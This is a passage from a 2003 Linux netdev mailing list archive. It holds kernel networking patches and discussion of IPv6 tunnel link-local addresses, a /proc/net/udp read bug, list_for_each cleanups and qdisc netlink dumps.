struct timeval net_profile_adjust; extern void net_profile_irq_adjust(struct timeval *entered, struct timeval* leaved); -#ifdef CONFIG_X86_TSC +#ifdef CONFIG_X86 static inline void net_profile_stamp(struct timeval *pstamp) { - rdtsc(pstamp->tv_usec, pstamp->tv_sec); + if (cpu_has_tsc) + rdtsc(pstamp->tv_usec, pstamp->tv_sec); + else + do_gettimeofday(pstamp); } static inline void net_profile_accumulate(struct timeval *entered, From davem@pizda.ninka.net Tue Sep 2 16:07:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 16:07:53 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h82N7nWZ018964 for ; Tue, 2 Sep 2003 16:07:50 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA14004; Tue, 2 Sep 2003 15:57:50 -0700 Date: Tue, 2 Sep 2003 15:57:50 -0700 From: "David S. Miller" To: Andi Kleen Cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: [PATCH] Remove X86_TSC dependency in net profile code Message-Id: <20030902155750.31390a6e.davem@redhat.com> In-Reply-To: <20030902230057.GA5424@averell> References: <20030902230057.GA5424@averell> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5522 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 01:00:57 +0200 Andi Kleen wrote: > I did not actually compile test this because net profile is commented > out since a long time and doesn't compile. An alternative if noone comes > up to fix it would be just to remove it completely. Alexey, time to remove the net profile stuff? From pekkas@netcore.fi Tue Sep 2 23:13:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Sep 2003 23:13:34 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h836CwWZ012999 for ; Tue, 2 Sep 2003 23:12:59 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h836AYr14831; Wed, 3 Sep 2003 09:10:34 +0300 Date: Wed, 3 Sep 2003 09:10:34 +0300 (EEST) From: Pekka Savola To: Ville Nuorvala cc: "David S. Miller" , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5523 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Tue, 2 Sep 2003, Ville Nuorvala wrote: > On Tue, 2 Sep 2003, Pekka Savola wrote: > > > Two comments: > > > > + /* try to inherit EUI64 from another device */ > > + for (dev = dev_base; dev; dev = dev->next) { > > + if (!ipv6_generate_eui64(addr.s6_addr + 8, dev)) { > > + addrconf_add_linklocal(idev, &addr); > > + return; > > + > > > > ==> does this really inherit _EUI64_, *or* MAC address (or something like > > it) to derive an EUI64? Note that there is a significant difference when > > you've configured manually e.g. 3ffe:ffff:f00:ba::1 on a device, and the > > case when you've auto-configured the interface identifier from the MAC > > address of the device. > > ipv6_generate_eui64() derives the interface identifier from the MAC > address on ARPHRD_{ETHER,FDDI,IEEE802_TR,ARCNET} interfaces, but doesn't > do anything for other types of devices Ok, but then the command should be: /* try to inherit MAC address from another device, to build an EUI64 */ > > ==> my question is: as the former method to steal an EUI64 should succeed > > pretty much always, is it useful to add basically dead code which never > > gets executed here? I certainly can't think of any scenario where you'd > > have no interface to steal the MAC address/EUI64 from and you'd have to > > fall back to random identifiers? > > If the node doesn't have an Ethernet (etc.) NIC it won't get a valid > identifier from ipv6_generate_eui64() and has to resort to something > else, for example generating a random address. And exactly how often does this happen? Eth (all variants), FDDI, TR, ARCnet.. what's missing? Does IPv6 even work with any other physical interfaces? :-) > An alternative would be to use ipv6_inherit_eui64(), which just copies the > 64-bit suffix from the first link-local address it can find. This includes > both manually and auto-configured addresses, which means the risk of > duplicate addresses might be (I assume) greater than in the random address > case. A possible twist here could be to copy only those whose universal/local bits indicate that that address was NOT manually configured, i.e..: 2001:708:10:40:207:e9ff:fe7b:259 ^ this one .. but as stated, I'm not sure this is really necessary anyway either. Note: it is desirable to have link-local addresses reasonably stable. Randomizing them may not be the right choice. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From yoshfuji@linux-ipv6.org Wed Sep 3 00:07:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 00:07:49 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8377DWZ029824 for ; Wed, 3 Sep 2003 00:07:14 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8377Y1M028633; Wed, 3 Sep 2003 16:07:35 +0900 Date: Wed, 03 Sep 2003 16:07:33 +0900 (JST) Message-Id: <20030903.160733.06230402.yoshfuji@linux-ipv6.org> To: Ricky Beam , jfbeam@bluetronic.net Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org, davem@redhat.com Subject: Re: /proc/net/* read drops data From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5524 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. In article (at Wed, 27 Aug 2003 19:58:17 -0400 (EDT)), Ricky Beam says: > On Wed, 27 Aug 2003, Ricky Beam wrote: > >This smells like a simple "off by one" bug, but I've been too busy to go > >look at the code. > > Ah hah! it's a block size problem... netstat reads 1024 at a time. > > Using dd... > > [root:pts/5{9}]gir:~/[7:55pm]:dd if=/proc/net/udp bs=1024 | wc > 2+1 records in > 2+1 records out > 18 216 2304 > [root:pts/5{9}]gir:~/[7:56pm]:dd if=/proc/net/udp bs=2048 | wc > 1+1 records in > 1+1 records out > 19 228 2432 : Please try this patch. D: Fixing a bug that reading /proc/net/{udp,udp6} may drop some data Index: linux-2.6/net/ipv4/udp.c =================================================================== RCS file: /home/cvs/linux-2.5/net/ipv4/udp.c,v retrieving revision 1.38 diff -u -r1.38 udp.c --- linux-2.6/net/ipv4/udp.c 14 Aug 2003 06:00:04 -0000 1.38 +++ linux-2.6/net/ipv4/udp.c 3 Sep 2003 05:30:52 -0000 @@ -1349,64 +1349,65 @@ /* ------------------------------------------------------------------------ */ #ifdef CONFIG_PROC_FS -static __inline__ struct sock *udp_get_bucket(struct seq_file *seq, loff_t *pos) +static struct sock *udp_get_first(struct seq_file *seq) { - int i; struct sock *sk; - struct hlist_node *node; - loff_t l = *pos; struct udp_iter_state *state = seq->private; - for (; state->bucket < UDP_HTABLE_SIZE; ++state->bucket) { - i = 0; + for (state->bucket = 0; state->bucket < UDP_HTABLE_SIZE; ++state->bucket) { + struct hlist_node *node; sk_for_each(sk, node, &udp_hash[state->bucket]) { - if (sk->sk_family != state->family) { - ++i; - continue; - } - if (l--) { - ++i; - continue; - } - *pos = i; - goto out; + if (sk->sk_family == state->family) + goto found; } } sk = NULL; -out: +found: return sk; } +static struct sock *udp_get_next(struct seq_file *seq, struct sock *sk) +{ + struct udp_iter_state *state = seq->private; + + do { + sk = sk_next(sk); +try_again: + ; + } while (sk && sk->sk_family != state->family); + + if (!sk && ++state->bucket < UDP_HTABLE_SIZE) { + sk = sk_head(&udp_hash[state->bucket]); + goto try_again; + } + return sk; +} + +static struct sock *udp_get_idx(struct seq_file *seq, loff_t pos) +{ + struct sock *sk = udp_get_first(seq); + + if (sk) + while(pos && (sk = udp_get_next(seq, sk)) != NULL) + --pos; + return pos ? NULL : sk; +} + static void *udp_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&udp_hash_lock); - return *pos ? udp_get_bucket(seq, pos) : (void *)1; + return *pos ? udp_get_idx(seq, *pos-1) : (void *)1; } static void *udp_seq_next(struct seq_file *seq, void *v, loff_t *pos) { struct sock *sk; - struct hlist_node *node; - struct udp_iter_state *state; - - if (v == (void *)1) { - sk = udp_get_bucket(seq, pos); - goto out; - } - state = seq->private; + if (v == (void *)1) + sk = udp_get_idx(seq, 0); + else + sk = udp_get_next(seq, v); - sk = v; - sk_for_each_continue(sk, node) - if (sk->sk_family == state->family) - goto out; - - if (++state->bucket >= UDP_HTABLE_SIZE) - goto out; - - *pos = 0; - sk = udp_get_bucket(seq, pos); -out: ++*pos; return sk; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From max@mail.sternwelten.at Wed Sep 3 01:22:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 01:23:25 -0700 (PDT) Received: from stallburg.dyndns.org (M929P025.adsl.highway.telekom.at [62.47.148.25]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h838MbWZ027953 for ; Wed, 3 Sep 2003 01:22:39 -0700 Received: from max by stallburg.dyndns.org with local id 19uStu-00086m-00; Wed, 03 Sep 2003 10:22:02 +0200 Date: Wed, 3 Sep 2003 10:22:02 +0200 From: maximilian attems To: kj Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, marcel@holtmann.org Subject: [PATCH] list_for_each net/ Message-ID: <20030903082202.GB13662@mail.sternwelten.at> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="lEGEL1/lMxI0MVQ2" Content-Disposition: inline X-archive-position: 5525 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: janitor@sternwelten.at Precedence: bulk X-list: netdev --lEGEL1/lMxI0MVQ2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable again pure cosmetical changes!! i checked the FOR_WALKERS and it seems to work. - for (list =3D ymf_devs.next; list !=3D &ymf_devs; list =3D list->next) { + list_for_each(list, &ymf_devs) { tested, please apply a++ maks bluetooth/rfcomm/core.c | 2 +- core/netfilter.c | 4 ++-- ipv4/netfilter/ip_conntrack_standalone.c | 5 ++--- ipv4/netfilter/ip_nat_standalone.c | 2 +- ipv6/ip6_fib.c | 2 +- 5 files changed, 7 insertions(+), 8 deletions(-) --- linux-2.6.0-test4/net/core/netfilter.c Sat Aug 23 01:55:34 2003 +++ linux/net/core/netfilter.c Wed Sep 3 09:55:25 2003 @@ -101,7 +101,7 @@ if (down_interruptible(&nf_sockopt_mutex) !=3D 0) return -EINTR; =20 - for (i =3D nf_sockopts.next; i !=3D &nf_sockopts; i =3D i->next) { + list_for_each(i, &nf_sockopts) { struct nf_sockopt_ops *ops =3D (struct nf_sockopt_ops *)i; if (ops->pf =3D=3D reg->pf && (overlap(ops->set_optmin, ops->set_optmax,=20 @@ -296,7 +296,7 @@ if (down_interruptible(&nf_sockopt_mutex) !=3D 0) return -EINTR; =20 - for (i =3D nf_sockopts.next; i !=3D &nf_sockopts; i =3D i->next) { + list_for_each(i, &nf_sockopts) { ops =3D (struct nf_sockopt_ops *)i; if (ops->pf =3D=3D pf) { if (get) { --- linux-2.6.0-test4/net/ipv4/netfilter/ip_conntrack_standalone.c Sat Aug = 23 01:55:11 2003 +++ linux/net/ipv4/netfilter/ip_conntrack_standalone.c Wed Sep 3 09:56:47 = 2003 @@ -151,8 +151,7 @@ } =20 /* Now iterate through expecteds. */ - for (e =3D ip_conntrack_expect_list.next;=20 - e !=3D &ip_conntrack_expect_list; e =3D e->next) { + list_for_each(e, &ip_conntrack_expect_list) { unsigned int last_len; struct ip_conntrack_expect *expect =3D (struct ip_conntrack_expect *)e; @@ -320,7 +319,7 @@ struct list_head *i; =20 WRITE_LOCK(&ip_conntrack_lock); - for (i =3D protocol_list.next; i !=3D &protocol_list; i =3D i->next) { + list_for_each(i, &protocol_list) { if (((struct ip_conntrack_protocol *)i)->proto =3D=3D proto->proto) { ret =3D -EBUSY; --- linux-2.6.0-test4/net/ipv4/netfilter/ip_nat_standalone.c Sat Aug 23 01:= 58:40 2003 +++ linux/net/ipv4/netfilter/ip_nat_standalone.c Wed Sep 3 09:57:27 2003 @@ -272,7 +272,7 @@ struct list_head *i; =20 WRITE_LOCK(&ip_nat_lock); - for (i =3D protos.next; i !=3D &protos; i =3D i->next) { + list_for_each(i, &protos) { if (((struct ip_nat_protocol *)i)->protonum =3D=3D proto->protonum) { ret =3D -EBUSY; --- linux-2.6.0-test4/net/bluetooth/rfcomm/core.c Sat Aug 23 01:50:53 2003 +++ linux/net/bluetooth/rfcomm/core.c Wed Sep 3 09:58:11 2003 @@ -1794,7 +1794,7 @@ if (p->next !=3D &s->dlcs) return p->next; =20 - for (p =3D s->list.next; p !=3D &session_list; p =3D p->next) { + list_for_each(p, &session_list) { s =3D list_entry(p, struct rfcomm_session, list); __list_for_each(pp, &s->dlcs) { seq->private =3D s; --- linux-2.6.0-test4/net/ipv6/ip6_fib.c Sat Aug 23 01:58:45 2003 +++ linux/net/ipv6/ip6_fib.c Wed Sep 3 10:00:51 2003 @@ -99,7 +99,7 @@ .next =3D &fib6_walker_list,=20 }; =20 -#define FOR_WALKERS(w) for ((w)=3Dfib6_walker_list.next; (w) !=3D &fib6_wa= lker_list; (w)=3D(w)->next) +#define FOR_WALKERS(w) list_for_each((w), &fib6_walker_list) =20 static __inline__ u32 fib6_new_sernum(void) { --lEGEL1/lMxI0MVQ2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD4DBQE/VaSq6//kSTNjoX0RAkY4AJiPGbnGTe4Xp+PFuPeQz9MRrw/gAJ4hZG0K isrpztY9UWxY8oz1k3cXPQ== =c0TI -----END PGP SIGNATURE----- --lEGEL1/lMxI0MVQ2-- From srompf@isg.de Wed Sep 3 02:48:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 02:49:27 -0700 (PDT) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h839mgWZ001921 for ; Wed, 3 Sep 2003 02:48:43 -0700 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id B6884143D219; Wed, 3 Sep 2003 10:42:55 +0200 (CEST) From: Stefan Rompf To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [ANNOUNCE] netplug, a daemon that handles network cables getting plugged in and out Date: Wed, 3 Sep 2003 10:42:35 +0200 User-Agent: KMail/1.5.9 References: <1062105712.12285.78.camel@serpentine.internal.keyresearch.com> <3F4E8373.1040204@pobox.com> <20030828224553.GC23528@werewolf.able.es> In-Reply-To: <20030828224553.GC23528@werewolf.able.es> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200309031042.54413.srompf@isg.de> X-archive-position: 5526 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev Hi, > That would be very nice, but there is still a problem. > Does netlink solve the fact that there are cards (at least in 2.4) > that do not support any detection method: even in 2.6 not all cards support link state via netlink, it requires some updates to the driver. Maintainers should take this as a hint to add netif_carrier_on()/_off() or mii_check_link()/mii_check_media()-calls ;-). This does not hurt for 2.4 as these functions are already available there, but do not create notifications in the stock kernel. Stefan -- "doesn't work" is not a magic word to explain everything. From vnuorval@tcs.hut.fi Wed Sep 3 03:18:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 03:18:20 -0700 (PDT) Received: from smtp-3.hut.fi (root@smtp-3.hut.fi [130.233.228.93]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83AI9WZ011978 for ; Wed, 3 Sep 2003 03:18:11 -0700 Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by smtp-3.hut.fi (8.12.9/8.12.9) with ESMTP id h83AHwAF001622; Wed, 3 Sep 2003 13:17:59 +0300 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 4EB2B8001C2; Wed, 3 Sep 2003 13:17:58 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83AHw9s005288; Wed, 3 Sep 2003 13:17:58 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83AHuAc005284; Wed, 3 Sep 2003 13:17:57 +0300 Date: Wed, 3 Sep 2003 13:17:56 +0300 (EEST) From: Ville Nuorvala To: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: <20030903.063705.89449634.yoshfuji@linux-ipv6.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-15 X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-3.hut.fi) X-DCC-HUTCC-Metrics: smtp-3.hut.fi 1165; Body=6 Fuz1=6 Fuz2=6 X-archive-position: 5527 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev On Wed, 3 Sep 2003, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > In article <20030902043534.05fc6586.davem@redhat.com> (at Tue, 2 Sep 2003 04:35:34 -0700), "David S. Miller" says: > > > On Mon, 1 Sep 2003 17:24:42 +0300 (EEST) > > Ville Nuorvala wrote: > > > > > Ok, this incremental patch to my previous addrconf.c patch generates a > > > link-local address to the IPv6 tunnel device. It first tries to inherit > > > the EUI64 identifier of some other device and if this fails, uses a > > > random interface id. > > > > Yoshfuji, do you mind if I apply his patch 5 and "5/5+1"? > > Well, I have a question and a comment. > > if (ifp->idev->cnf.forwarding == 0 && > (dev->flags&IFF_LOOPBACK) == 0 && > + dev->type != ARPHRD_TUNNEL6 && > (ipv6_addr_type(&ifp->addr) & IPV6_ADDR_LINKLOCAL)) { > struct in6_addr all_routers; > > Why? The other end of the tunnel might not yet be set up to receive the packet, which causes an ICMP error message to be sent back to the sender. Besides, RS and RA over a ipv6-in-ipv6 tunnel is a _bad_ idea. A default route through a tunnel without more advanced (policy/flow/srcaddr/? based) routing schemes can lead to local routing loops. Come to think of it a more elegant solution might be: if (ifp->idev->cnf.forwarding == 0 && (dev->flags&IFF_LOOPBACK) == 0 && + ifp->idev->cnf.rtr_solicits > 0 && (ipv6_addr_type(&ifp->addr) & IPV6_ADDR_LINKLOCAL)) { struct in6_addr all_routers; and set both idev->cnf.rtr_solicits = 0 and idev->cnf.accept_ra = 0 for ARPHRD_TUNNEL6 devices > Comment: this strategy is the "default." > We can (or even should) do this stretegy whenever we failed to > ipv6_generate_eui64() in addrconf_dev_config(). Should I send a separate patch to enable the random interface ids in addrconf_dev_config()? Regards, Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From yoshfuji@linux-ipv6.org Wed Sep 3 03:21:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 03:22:32 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83ALtWZ014738 for ; Wed, 3 Sep 2003 03:21:57 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h83AMQ1M030711; Wed, 3 Sep 2003 19:22:26 +0900 Date: Wed, 03 Sep 2003 19:22:26 +0900 (JST) Message-Id: <20030903.192226.122933464.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi Cc: davem@redhat.com, pekkas@netcore.fi, usagi-core@linux-ipv6.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20030903.063705.89449634.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5528 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 3 Sep 2003 13:17:56 +0300 (EEST)), Ville Nuorvala says: > Come to think of it a more elegant solution might be: > > if (ifp->idev->cnf.forwarding == 0 && > (dev->flags&IFF_LOOPBACK) == 0 && > + ifp->idev->cnf.rtr_solicits > 0 && > (ipv6_addr_type(&ifp->addr) & IPV6_ADDR_LINKLOCAL)) { > struct in6_addr all_routers; > > and set both idev->cnf.rtr_solicits = 0 and idev->cnf.accept_ra = 0 for > ARPHRD_TUNNEL6 devices Yes, something like that. > > Comment: this strategy is the "default." > > We can (or even should) do this stretegy whenever we failed to > > ipv6_generate_eui64() in addrconf_dev_config(). > > Should I send a separate patch to enable the random interface ids in > addrconf_dev_config()? No, just move them to addrconf_dev_config(). --yoshfuji From ahu@outpost.ds9a.nl Wed Sep 3 03:28:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 03:28:39 -0700 (PDT) Received: from outpost.ds9a.nl (postfix@outpost.ds9a.nl [213.244.168.210]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83AS5WZ017390 for ; Wed, 3 Sep 2003 03:28:05 -0700 Received: by outpost.ds9a.nl (Postfix, from userid 1000) id 603854415; Wed, 3 Sep 2003 12:28:03 +0200 (CEST) Date: Wed, 3 Sep 2003 12:28:03 +0200 From: bert hubert To: devik@cdi.cz Cc: netdev@oss.sgi.com Subject: 2.6.0-test4, 2.5.47, child qdiscs, parent not filled out? Message-ID: <20030903102803.GA11876@outpost.ds9a.nl> Mail-Followup-To: bert hubert , devik@cdi.cz, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5529 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ahu@ds9a.nl Precedence: bulk X-list: netdev Devik (I hope we can be friends again :-)), others, I'm currently working on the wondershaper 2.0 which is going to be much more a massmarket product (still GPL, no worries), and I'm wondering why the parent field of child qdiscs isn't filled out? If I create a cbq with several classes, and attach a qdisc to those classes, a later netlink dump (RTM_GETQDISCS) returns parent as 0:0 for that qdisc, is this right? Same holds for HTB and child qdiscs. Basically, I can't find a way to figure out where qdiscs are actually attached. Or should I look for that in xstats? Thanks. -- http://www.PowerDNS.com Open source, database driven DNS Software http://lartc.org Linux Advanced Routing & Traffic Control HOWTO From pekkas@netcore.fi Wed Sep 3 04:50:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 04:50:44 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83BoOWZ012606 for ; Wed, 3 Sep 2003 04:50:25 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h83Bm5A18164; Wed, 3 Sep 2003 14:48:05 +0300 Date: Wed, 3 Sep 2003 14:48:04 +0300 (EEST) From: Pekka Savola To: Ville Nuorvala cc: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-archive-position: 5530 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Wed, 3 Sep 2003, Ville Nuorvala wrote: > On Wed, 3 Sep 2003, YOSHIFUJI Hideaki / [iso-2022-jp] $B5HF#1QL@(B wrote: > > In article <20030902043534.05fc6586.davem@redhat.com> (at Tue, 2 Sep 2003 04:35:34 -0700), "David S. Miller" says: > > > > > On Mon, 1 Sep 2003 17:24:42 +0300 (EEST) > > > Ville Nuorvala wrote: > > > > > > > Ok, this incremental patch to my previous addrconf.c patch generates a > > > > link-local address to the IPv6 tunnel device. It first tries to inherit > > > > the EUI64 identifier of some other device and if this fails, uses a > > > > random interface id. > > > > > > Yoshfuji, do you mind if I apply his patch 5 and "5/5+1"? > > > > Well, I have a question and a comment. > > > > if (ifp->idev->cnf.forwarding == 0 && > > (dev->flags&IFF_LOOPBACK) == 0 && > > + dev->type != ARPHRD_TUNNEL6 && > > (ipv6_addr_type(&ifp->addr) & IPV6_ADDR_LINKLOCAL)) { > > struct in6_addr all_routers; > > > > Why? > > The other end of the tunnel might not yet be set up to receive the packet, > which causes an ICMP error message to be sent back to the sender. > > Besides, RS and RA over a ipv6-in-ipv6 tunnel is a _bad_ idea. A default > route through a tunnel without more advanced (policy/flow/srcaddr/? based) > routing schemes can lead to local routing loops. Who are you to say it's a bad idea? Users may have a lot of ideas, which some may think are bad but are OK. There is nothing wrong with RS/RA over an IPv6-over-IPv6 tunnel. I'd probably be concerned myself if it wasn't possible. _However_, that doesn't make sense unless you have a more specific route to the destination IPv6 tunnel endpoint. At the moment, I don't know who'd like to get a default IPv6 route over an IPv6 tunnel, though.. IPv6 VPN users? MIPv6 users who restrict themselves to bidirectional tunneling through the home agent, maybe? just my 2 cents. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From vnuorval@tcs.hut.fi Wed Sep 3 05:15:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 05:15:53 -0700 (PDT) Received: from smtp-1.hut.fi (root@smtp-1.hut.fi [130.233.228.91]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83CFjWZ020334 for ; Wed, 3 Sep 2003 05:15:46 -0700 Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by smtp-1.hut.fi (8.12.9/8.12.9) with ESMTP id h83CFYQe015583; Wed, 3 Sep 2003 15:15:35 +0300 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id 95DFA8001B5; Wed, 3 Sep 2003 15:15:34 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83CFY9s005778; Wed, 3 Sep 2003 15:15:34 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h83CFXRM005774; Wed, 3 Sep 2003 15:15:33 +0300 Date: Wed, 3 Sep 2003 15:15:33 +0300 (EEST) From: Ville Nuorvala To: 